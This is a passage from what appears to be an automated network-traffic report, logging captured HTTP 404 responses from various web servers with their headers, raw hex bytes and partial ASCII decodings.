78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 31 35 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 7d 0a 0a 2e 72 6f 77 3a 62 65 66 6f 72 65 2c 20 2e 72 6f 77 3a 61 66 74 65 72 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 20 22 3b 0a 7d 0a 0a 2e 63 6f 6c 2d 6d 64 2d 36 20 7b 0a 20 20 77 69 64 74 68 3a 20 35 30 25 3b 0a 7d 0a 0a 2e 63 6f 6c 2d 6d 64 2d 70 75 73 68 2d 33 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 32 35 25 3b 0a 7d 0a 0a 68 31 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 38 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 32 30 70 78 20 30 3b 0a 7d 0a 0a 2e 6c 65 61 64 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 31 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 32 30 30 3b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 7d 0a 0a 70 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 30 70 78 3b 0a 7d 0a 0a 61 20 7b 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:32 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingLast-Modified: Thu, 12 Sep 2019 15:06:38 GMTETag: W/"3fe-5925c7bf8c9e3"Content-Encoding: gzipData Raw: 32 35 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 65 53 dd 6b db 30 10 7f f7 5f 71 f3 4b 5f f2 b1 8e 6e 0f c3 0b a4 24 a3 81 76 1d 4d c6 28 a5 0c c5 3a c5 a2 b2 e4 49 a7 ba fe ef 7b b2 92 32 ba 17 1b db fa 7d de b9 ba da dd 5c 2f 8a ea 6a bd 5c f1 6d b7 d9 5d af 17 17 1f 2f e0 87 23 f8 ee a2 95 d5 3c bf 2c aa cb e5 76 0d 8d 47 f5 ad 9c a3 f7 ce ff 91 ae 0e f3 72 51 7d 98 4e 1f b4 02 43 08 9b 35 7c 79 5c 54 f3 74 98 3f 3c a0 95 5a 3d 4e a7 4c 3e 3f 8a 5c de ae ee 93 e4 f9 e2 1f 11 7e 2a 76 0d 82 c7 bf 11 03 a1 04 26 8f 2d 5a 82 5e 04 b0 6c 47 25 3b e0 2c 50 a3 03 04 f4 cf e8 67 45 f5 33 71 dd f1 65 b9 5a dd ad b7 db 45 f1 1b f7 b0 1d 3f 83 60 18 4a f4 bd 36 72 26 88 4d bc 9d 62 8f d9 c8 3c 77 50 a4 18 05 00 4c e1 97 55 ce 53 b4 82 d0 0c 13 b8 d1 b5 77 c1 29 82 86 ad 08 29 d9 9d 80 da 20 1b 00 8b 7d 06 95 0a 05 45 8f 25 90 83 8d 25 f4 16 09 d6 2f 9d 71 9e 8d c2 46 b1 71 04 c2 17 02 a7 32 46 58 18 9b 3c 0b d0 62 08 e2 80 c0 d1 4a 72 0e 42 2b 8c 29 27 10 3a ac b5 d2 35 3f 0d 19 64 f8 24 53 31 f6 f3 f9 27 d8 0f 84 61 f2 bf 20 37 c9 6e 6c c8 18 4d 01 5c 7f 54 3b 69 cd e0 de 45 a8 99 28 9d 4c 94 c9 99 9a 64 c8 3e 12 68 62 67 1d 33 d1 00 e4 75 fd c4 37 07 4a f3 1c 42 af a9 6e 18 6d 0c ca 8c 28 d9 b3 a7 9c e8 a4 11 ca 19 ec 12 71 8b c2 b2 4f a7 a0 76 d1 07 3c aa 8c a2 a1 e1 ba df e1 40 78 84 1a 6d e0 f6 24 a7 04 89 4a 44 43 b3 ac b5 d9 6c 41 98 5e 0c e1 14 f4 3d 7e 64 4e 24 c6 d9 43 06 a1 75 f1 d0 a4 08 ad 78 e2 5d 7d 3f 24 9e 6f d7 0d c9 30 66 40 ef fc 93 f0 e3 de f1 5c 8e 45 04 dd 76 06 bf 42 27 e4 38 d1 71 82 f9 fc 69 88 dc 4d c3 2b b2 d7 07 4e db 8e 5b 6c 34 2b 8e 9b cb f2 5d 0c 0d 97 9b 41 2e ad 51 5a 0d a5 9f 11 1a 5e f2 94 58 70 c7 d4 a3 e1 57 e3 88 a1 d5 56 b7 b1 3d e6 bf 7d eb 71 9c 1b 8f 09 5f 44 4d 66 80 3e b5 3d b8 78 c6 d1 3d 0a a9 4f e9 bd 3e 34 c4 7f 52 9f 29 f8 97 7c 05 7e a9 4a 3b fe 03 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 25ceSk0_qK_n$vM(:I{2}\/j\m]/#<,vGrQ}NC5\|y\Tt?<Z=NL>?\~*v&-Z^lG%;,PgE3qeZE?`J6r&Mb<wPLUSw)) }E%%/qFq2FX<bJrB+)':5?d$S1'a 7nlM\T;iE(Ld>hbg3u7JBnm(qOv<@xm$JDClA^=~dN$Cux]}?$o0f@\EvB'8qiM+N[l4+]A.QZ^XpWV=}q_DMf>=x=O>4R)\|~J;0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingCache-Control: no-cache, privateDate: Sun, 26 Nov 2023 05:59:32 GMTSet-Cookie: publishedsite-xsrf=eyJpdiI6InZhbDJwVnlLUWhubGJIVTRxS1RyS3c9PSIsInZhbHVlIjoibEtHV0dCVjhVZFFxdXVPckRoandqSmJIM2VpRWo3WkE2ejZGY2pQbU5MVDEyaUwxT3czZzd6T2tYUFc2WjNmYm83eGJpaCtkTnU2eW1zMmcxN3N5eHJlbjdPL1drOGwyOUw5TjhsM0k1MnBoWDhYOHJucU5VWGN6Z3lZOC9qejUiLCJtYWMiOiJkYmI0NTNiNTQ5YzNhYzUxNjUyMDM2MWNlM2QzYzYxNGMyZTJhMWY2MzYyYWNiN2JjNzQ2ODI5NzJlMjU2MGQ0IiwidGFnIjoiIn0%3D; expires=Sun, 10-Dec-2023 05:59:32 GMT; Max-Age=1209600; path=/; samesite=laxSet-Cookie: XSRF-TOKEN=eyJpdiI6IkxXaFVUaFNtTzd2ZGkvek9mQ0hvQmc9PSIsInZhbHVlIjoiZmhtK2lrVUlvZjdVZHpFVWVmMjR6b0VFRVYwWWdxaXNkRmpTQ202R0hubjNUM2czRThCblFXTXNOVjhQNC9kdS8yMmhialBBNGtpcW05eDZ0NDJzMGFDZ2VUemRuU2dvU01pdUNUdGEwc0wvUFRqdUt3MFl6RFlkblFaTWhZQy8iLCJtYWMiOiI2ZTM3MmEwZmUyNWQ5ZDgyYTFhNWQwMDg4OWNkNTdlNmI5ZDJhZmM1MzcwMzM3NDgxZjBlNDI5MTllNTVlN2VjIiwidGFnIjoiIn0%3D; expires=Sun, 10-Dec-2023 05:59:32 GMT; Max-Age=1209600; path=/; samesite=laxSet-Cookie: PublishedSiteSession=eyJpdiI6Imo1aVN2WVJmWnBrNnZqSXJrYXFoblE9PSIsInZhbHVlIjoidVNWYlV1bDRTdmFsRnQ0anV4Zy9kK3RTUXdEQVFwV1I5OXo1Z0hKUTBWbWxoeFNDUGEwM3F0dData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:32 GMTServer: Apache/2.4.57 (Unix)Content-Length: 196Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:32 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-53.ec2.internalX-Request-Id: 21062e9b-de89-4f44-802e-371bfef32e49Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:32 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingLast-Modified: Thu, 12 Sep 2019 15:06:38 GMTETag: W/"3fe-5925c7bf8c9e3"Content-Encoding: gzipData Raw: 32 35 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 65 53 dd 6b db 30 10 7f f7 5f 71 f3 4b 5f f2 b1 8e 6e 0f c3 0b a4 24 a3 81 76 1d 4d c6 28 a5 0c c5 3a c5 a2 b2 e4 49 a7 ba fe ef 7b b2 92 32 ba 17 1b db fa 7d de b9 ba da dd 5c 2f 8a ea 6a bd 5c f1 6d b7 d9 5d af 17 17 1f 2f e0 87 23 f8 ee a2 95 d5 3c bf 2c aa cb e5 76 0d 8d 47 f5 ad 9c a3 f7 ce ff 91 ae 0e f3 72 51 7d 98 4e 1f b4 02 43 08 9b 35 7c 79 5c 54 f3 74 98 3f 3c a0 95 5a 3d 4e a7 4c 3e 3f 8a 5c de ae ee 93 e4 f9 e2 1f 11 7e 2a 76 0d 82 c7 bf 11 03 a1 04 26 8f 2d 5a 82 5e 04 b0 6c 47 25 3b e0 2c 50 a3 03 04 f4 cf e8 67 45 f5 33 71 dd f1 65 b9 5a dd ad b7 db 45 f1 1b f7 b0 1d 3f 83 60 18 4a f4 bd 36 72 26 88 4d bc 9d 62 8f d9 c8 3c 77 50 a4 18 05 00 4c e1 97 55 ce 53 b4 82 d0 0c 13 b8 d1 b5 77 c1 29 82 86 ad 08 29 d9 9d 80 da 20 1b 00 8b 7d 06 95 0a 05 45 8f 25 90 83 8d 25 f4 16 09 d6 2f 9d 71 9e 8d c2 46 b1 71 04 c2 17 02 a7 32 46 58 18 9b 3c 0b d0 62 08 e2 80 c0 d1 4a 72 0e 42 2b 8c 29 27 10 3a ac b5 d2 35 3f 0d 19 64 f8 24 53 31 f6 f3 f9 27 d8 0f 84 61 f2 bf 20 37 c9 6e 6c c8 18 4d 01 5c 7f 54 3b 69 cd e0 de 45 a8 99 28 9d 4c 94 c9 99 9a 64 c8 3e 12 68 62 67 1d 33 d1 00 e4 75 fd c4 37 07 4a f3 1c 42 af a9 6e 18 6d 0c ca 8c 28 d9 b3 a7 9c e8 a4 11 ca 19 ec 12 71 8b c2 b2 4f a7 a0 76 d1 07 3c aa 8c a2 a1 e1 ba df e1 40 78 84 1a 6d e0 f6 24 a7 04 89 4a 44 43 b3 ac b5 d9 6c 41 98 5e 0c e1 14 f4 3d 7e 64 4e 24 c6 d9 43 06 a1 75 f1 d0 a4 08 ad 78 e2 5d 7d 3f 24 9e 6f d7 0d c9 30 66 40 ef fc 93 f0 e3 de f1 5c 8e 45 04 dd 76 06 bf 42 27 e4 38 d1 71 82 f9 fc 69 88 dc 4d c3 2b b2 d7 07 4e db 8e 5b 6c 34 2b 8e 9b cb f2 5d 0c 0d 97 9b 41 2e ad 51 5a 0d a5 9f 11 1a 5e f2 94 58 70 c7 d4 a3 e1 57 e3 88 a1 d5 56 b7 b1 3d e6 bf 7d eb 71 9c 1b 8f 09 5f 44 4d 66 80 3e b5 3d b8 78 c6 d1 3d 0a a9 4f e9 bd 3e 34 c4 7f 52 9f 29 f8 97 7c 05 7e a9 4a 3b fe 03 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 25ceSk0_qK_n$vM(:I{2}\/j\m]/#<,vGrQ}NC5\|y\Tt?<Z=NL>?\~*v&-Z^lG%;,PgE3qeZE?`J6r&Mb<wPLUSw)) }E%%/qFq2FX<bJrB+)':5?d$S1'a 7nlM\T;iE(Ld>hbg3u7JBnm(qOv<@xm$JDClA^=~dN$Cux]}?$o0f@\EvB'8qiM+N[l4+]A.QZ^XpWV=}q_DMf>=x=O>4R)\|~J;0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveKeep-Alive: timeout=5, max=100x-powered-by: PHP/7.4.33content-type: text/html; charset=UTF-8expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0link: <http://hmichaelandco.com/wp-json/>; rel="https://api.w.org/"content-length: 12182content-encoding: gzipvary: Accept-Encodingdate: Sun, 26 Nov 2023 05:59:32 GMTserver: LiteSpeedData Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 7d 6b 73 e3 36 b2 e8 67 b9 ea fc 07 0c 9d 58 d2 2c 49 51 2f 3f 64 cb 39 93 d9 64 93 53 c9 26 37 93 9c ad 5b 93 39 2a 88 84 24 cc 50 04 97 80 64 7b 3d fe 41 f7 6f dc 5f 76 ab f1 20 41 8a 7a f8 91 9c f3 e1 2a 95 31 09 02 dd 8d 46 a3 d1 00 ba 81 ab 57 11 0b c5 5d 4a d0 42 2c e3 eb a3 2b f8 83 62 9c cc c7 0e 49 bc df de 39 47 8d 34 23 33 7a 3b 76 d8 7c 84 16 42 a4 7c d4 e9 b0 79 ea 2f 49 27 e1 c7 0e 82 52 04 47 d7 47 57 4b 22 b0 cc e2 91 7f ae e8 7a ec bc 65 89 20 89 f0 7e bd 4b 89 83 42 f5 36 76 04 b9 15 1d c0 74 89 c2 05 ce 38 11 e3 df 7e fd d6 3b 77 50 e7 fa e8 e8 ea 95 e7 a1 1f d9 94 c6 04 bd 4b 49 48 67 34 44 3f 12 81 39 3a 41 df e2 35 0d 59 c2 91 e7 19 84 09 5e 92 b1 b3 a6 e4 26 65 99 b0 d0 dc d0 48 2c c6 11 59 d3 90 78 f2 c5 45 34 a1 82 e2 d8 e3 21 8e c9 b8 eb a2 25 be a5 cb d5 b2 48 58 71 92 c9 37 3c 8d c9 38 70 ae af 62 9a 7c 42 19 89 c7 0e 5f b0 4c 84 2b 81 80 06 07 2d 32 32 1b 3b c0 93 51 a7 b3 58 d2 70 81 49 8c 93 28 64 7e c8 96 9d 9b d4 d3 55 ee ac d2 98 e1 88 77 7a 41 2f e8 04 a7 79 66 3f 4d e6 25 0c 38 4d 63 e2 09 b6 0a 17 de 9f 88 84 d3 7f 11 3e 76 ba bd e0 b6 db 0b fe a4 9a 69 a4 67 a7 b7 67 a7 7f 2e ca ee b0 77 db 1d f6 5e 10 29 c8 ec 3f 58 16 fd 9c 11 ce d1 3b b1 9a cd a4 88 a2 2d bf 2b 1e 66 34 15 d7 47 5b be cb e4 ce 6b f4 bf d9 0a 85 38 41 38 8a d0 92 65 04 3a d1 8c ce 57 19 16 94 25 88 a5 f0 87 23 c1 d0 0d 99 ce 58 22 40 ce 48 86 a6 77 28 cd c8 9a b2 15 8f ef 50 44 66 34 a1 c9 1c 89 05 41 ff 20 d3 6f 59 22 de 4a 40 e8 86 8a 05 ba 63 ab 2c 87 f5 ba b3 93 28 3a 43 2d 04 2a 83 cd 2a a0 c6 e3 31 72 56 89 44 46 22 07 b5 d1 fd 4e 48 50 c7 32 31 63 94 90 1b f4 d3 f4 23 09 45 ab 7d b9 b3 f4 c3 ce af 25 b8 ef 9b 73 c6 e6 31 69 7e 40 63 74 3f c3 4b 1a 53 c2 47 e8 7d f3 47 96 08 4e b2 0c 8b 51 37 08 dc 5e 10 b8 fd 20 70 07 41 e0 0e 83 c0 3d 0d 02 f7 2c 08 dc f3 20 70 2f 82 c0 ed 06 01 15 38 a6 21 e4 d4 4f fd fc 69 90 3f 0d f3 a7 d3 fc e9 2c 7f 3a cf 9f 2e cc 53 d3 45 cd 9f 52 92 fc e5 1d 4e f8 c8 90 60 a3 af 43 b3 13 f8 09 5f 4d 41 b3 c6 58 d0 a4 f9 e1 e1 f2 68 27 c3 5a b3 55 12 82 30 b5 0e 69 b6 35 ce d0 cd 0c 8d 51 c4 c2 d5 92 24 c2 0f 33 82 05 f9 26 26 f0 d6 42 4d 25 df 4d b4 a7 15 41 06 6e 66 3e cf 42 34 46 4d 33 bc e0 8f f8 d6 57 6d 86 53 ca a5 36 85 b4 4e 4c a7 bc a3 25 bd d3 f5 87 7e df bc f9 1f 79 73 b7 c0 68 54 72 b4 1b a3 a6 1c 84 3e e2 35 d6 94 1e 54 18 f3 bb 44 52 2a b2 15 39 00 1f f0 89 db 6c 9a 13 a1 79 c4 bf be fb 15 cf ff 8e 97 c4 e6 d6 fb e0 c3 7e 42 b8 9f e2 8c 24 e2 ef 2c 22 3e 4d 38 c9 c4 d7 64 c6 32 d2 42 37 33 17 f1 7d 4c 7f 68 ef ea 5c 57 9d Data
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveKeep-Alive: timeout=5, max=100x-powered-by: PHP/7.4.33content-type: text/html; charset=UTF-8expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0link: <http://hmichaelandco.com/wp-json/>; rel="https://api.w.org/"transfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encodingdate: Sun, 26 Nov 2023 05:59:32 GMTserver: LiteSpeedData Raw: 32 66 39 31 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec 7d 6b 73 e3 36 b2 e8 67 b9 ea fc 07 0c 9d 58 d2 2c 49 51 2f 3f 64 cb 39 93 d9 64 93 53 c9 26 37 93 9c ad 5b 93 39 2a 88 84 24 cc 50 04 97 80 64 7b 3d fe 41 f7 6f dc 5f 76 ab f1 20 41 8a 7a f8 91 9c f3 e1 2a 95 31 09 02 dd 8d 46 a3 d1 00 ba 81 ab 57 11 0b c5 5d 4a d0 42 2c e3 eb a3 2b f8 83 62 9c cc c7 0e 49 bc df de 39 47 8d 34 23 33 7a 3b 76 d8 7c 84 16 42 a4 7c d4 e9 b0 79 ea 2f 49 27 e1 c7 0e 82 52 04 47 d7 47 57 4b 22 b0 cc e2 91 7f ae e8 7a ec bc 65 89 20 89 f0 7e bd 4b 89 83 42 f5 36 76 04 b9 15 1d c0 74 89 c2 05 ce 38 11 e3 df 7e fd d6 3b 77 50 e7 fa e8 e8 ea 95 e7 a1 1f d9 94 c6 04 bd 4b 49 48 67 34 44 3f 12 81 39 3a 41 df e2 35 0d 59 c2 91 e7 19 84 09 5e 92 b1 b3 a6 e4 26 65 99 b0 d0 dc d0 48 2c c6 11 59 d3 90 78 f2 c5 45 34 a1 82 e2 d8 e3 21 8e c9 b8 eb a2 25 be a5 cb d5 b2 48 58 71 92 c9 37 3c 8d c9 38 70 ae af 62 9a 7c 42 19 89 c7 0e 5f b0 4c 84 2b 81 80 06 07 2d 32 32 1b 3b c0 93 51 a7 b3 58 d2 70 81 49 8c 93 28 64 7e c8 96 9d 9b d4 d3 55 ee ac d2 98 e1 88 77 7a 41 2f e8 04 a7 79 66 3f 4d e6 25 0c 38 4d 63 e2 09 b6 0a 17 de 9f 88 84 d3 7f 11 3e 76 ba bd e0 b6 db 0b fe a4 9a 69 a4 67 a7 b7 67 a7 7f 2e ca ee b0 77 db 1d f6 5e 10 29 c8 ec 3f 58 16 fd 9c 11 ce d1 3b b1 9a cd a4 88 a2 2d bf 2b 1e 66 34 15 d7 47 5b be cb e4 ce 6b f4 bf d9 0a 85 38 41 38 8a d0 92 65 04 3a d1 8c ce 57 19 16 94 25 88 a5 f0 87 23 c1 d0 0d 99 ce 58 22 40 ce 48 86 a6 77 28 cd c8 9a b2 15 8f ef 50 44 66 34 a1 c9 1c 89 05 41 ff 20 d3 6f 59 22 de 4a 40 e8 86 8a 05 ba 63 ab 2c 87 f5 ba b3 93 28 3a 43 2d 04 2a 83 cd 2a a0 c6 e3 31 72 56 89 44 46 22 07 b5 d1 fd 4e 48 50 c7 32 31 63 94 90 1b f4 d3 f4 23 09 45 ab 7d b9 b3 f4 c3 ce af 25 b8 ef 9b 73 c6 e6 31 69 7e 40 63 74 3f c3 4b 1a 53 c2 47 e8 7d f3 47 96 08 4e b2 0c 8b 51 37 08 dc 5e 10 b8 fd 20 70 07 41 e0 0e 83 c0 3d 0d 02 f7 2c 08 dc f3 20 70 2f 82 c0 ed 06 01 15 38 a6 21 e4 d4 4f fd fc 69 90 3f 0d f3 a7 d3 fc e9 2c 7f 3a cf 9f 2e cc 53 d3 45 cd 9f 52 92 fc e5 1d 4e f8 c8 90 60 a3 af 43 b3 13 f8 09 5f 4d 41 b3 c6 58 d0 a4 f9 e1 e1 f2 68 27 c3 5a b3 55 12 82 30 b5 0e 69 b6 35 ce d0 cd 0c 8d 51 c4 c2 d5 92 24 c2 0f 33 82 05 f9 26 26 f0 d6 42 4d 25 df 4d b4 a7 15 41 06 6e 66 3e cf 42 34 46 4d 33 bc e0 8f f8 d6 57 6d 86 53 ca a5 36 85 b4 4e 4c a7 bc a3 25 bd d3 f5 87 7e df bc f9 1f 79 73 b7 c0 68 54 72 b4 1b a3 a6 1c 84 3e e2 35 d6 94 1e 54 18 f3 bb 44 52 2a b2 15 39 00 1f f0 89 db 6c 9a 13 a1 79 c4 bf be fb 15 cf ff 8e 97 c4 e6 d6 fb e0 c3 7e 42 b8 9f e2 8c 24 e2 ef 2c 22 3e 4d 38 c9 c4 d7 64 c6 32 d2 42 37 33 Data Ascii: 2f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:32 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingLast-Modified: Thu, 12 Sep 2019 15:06:38 GMTETag: W/"3fe-5925c7bf8c9e3"Content-Encoding: gzipData Raw: 32 35 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 65 53 dd 6b db 30 10 7f f7 5f 71 f3 4b 5f f2 b1 8e 6e 0f c3 0b a4 24 a3 81 76 1d 4d c6 28 a5 0c c5 3a c5 a2 b2 e4 49 a7 ba fe ef 7b b2 92 32 ba 17 1b db fa 7d de b9 ba da dd 5c 2f 8a ea 6a bd 5c f1 6d b7 d9 5d af 17 17 1f 2f e0 87 23 f8 ee a2 95 d5 3c bf 2c aa cb e5 76 0d 8d 47 f5 ad 9c a3 f7 ce ff 91 ae 0e f3 72 51 7d 98 4e 1f b4 02 43 08 9b 35 7c 79 5c 54 f3 74 98 3f 3c a0 95 5a 3d 4e a7 4c 3e 3f 8a 5c de ae ee 93 e4 f9 e2 1f 11 7e 2a 76 0d 82 c7 bf 11 03 a1 04 26 8f 2d 5a 82 5e 04 b0 6c 47 25 3b e0 2c 50 a3 03 04 f4 cf e8 67 45 f5 33 71 dd f1 65 b9 5a dd ad b7 db 45 f1 1b f7 b0 1d 3f 83 60 18 4a f4 bd 36 72 26 88 4d bc 9d 62 8f d9 c8 3c 77 50 a4 18 05 00 4c e1 97 55 ce 53 b4 82 d0 0c 13 b8 d1 b5 77 c1 29 82 86 ad 08 29 d9 9d 80 da 20 1b 00 8b 7d 06 95 0a 05 45 8f 25 90 83 8d 25 f4 16 09 d6 2f 9d 71 9e 8d c2 46 b1 71 04 c2 17 02 a7 32 46 58 18 9b 3c 0b d0 62 08 e2 80 c0 d1 4a 72 0e 42 2b 8c 29 27 10 3a ac b5 d2 35 3f 0d 19 64 f8 24 53 31 f6 f3 f9 27 d8 0f 84 61 f2 bf 20 37 c9 6e 6c c8 18 4d 01 5c 7f 54 3b 69 cd e0 de 45 a8 99 28 9d 4c 94 c9 99 9a 64 c8 3e 12 68 62 67 1d 33 d1 00 e4 75 fd c4 37 07 4a f3 1c 42 af a9 6e 18 6d 0c ca 8c 28 d9 b3 a7 9c e8 a4 11 ca 19 ec 12 71 8b c2 b2 4f a7 a0 76 d1 07 3c aa 8c a2 a1 e1 ba df e1 40 78 84 1a 6d e0 f6 24 a7 04 89 4a 44 43 b3 ac b5 d9 6c 41 98 5e 0c e1 14 f4 3d 7e 64 4e 24 c6 d9 43 06 a1 75 f1 d0 a4 08 ad 78 e2 5d 7d 3f 24 9e 6f d7 0d c9 30 66 40 ef fc 93 f0 e3 de f1 5c 8e 45 04 dd 76 06 bf 42 27 e4 38 d1 71 82 f9 fc 69 88 dc 4d c3 2b b2 d7 07 4e db 8e 5b 6c 34 2b 8e 9b cb f2 5d 0c 0d 97 9b 41 2e ad 51 5a 0d a5 9f 11 1a 5e f2 94 58 70 c7 d4 a3 e1 57 e3 88 a1 d5 56 b7 b1 3d e6 bf 7d eb 71 9c 1b 8f 09 5f 44 4d 66 80 3e b5 3d b8 78 c6 d1 3d 0a a9 4f e9 bd 3e 34 c4 7f 52 9f 29 f8 97 7c 05 7e a9 4a 3b fe 03 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 25ceSk0_qK_n$vM(:I{2}\/j\m]/#<,vGrQ}NC5\|y\Tt?<Z=NL>?\~*v&-Z^lG%;,PgE3qeZE?`J6r&Mb<wPLUSw)) }E%%/qFq2FX<bJrB+)':5?d$S1'a 7nlM\T;iE(Ld>hbg3u7JBnm(qOv<@xm$JDClA^=~dN$Cux]}?$o0f@\EvB'8qiM+N[l4+]A.QZ^XpWV=}q_DMf>=x=O>4R)\|~J;0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:32 GMTServer: Apache/2.4.58 (Unix)Content-Length: 196Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:32 GMTServer: ApacheVary: accept-language,accept-charsetAccept-Ranges: bytesConnection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=iso-8859-1Content-Language: enData Raw: 31 65 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 0d 0a 61 66 0d 0a 49 53 4f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 0d 0a 65 0d 0a 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 0d 0a 31 33 0d 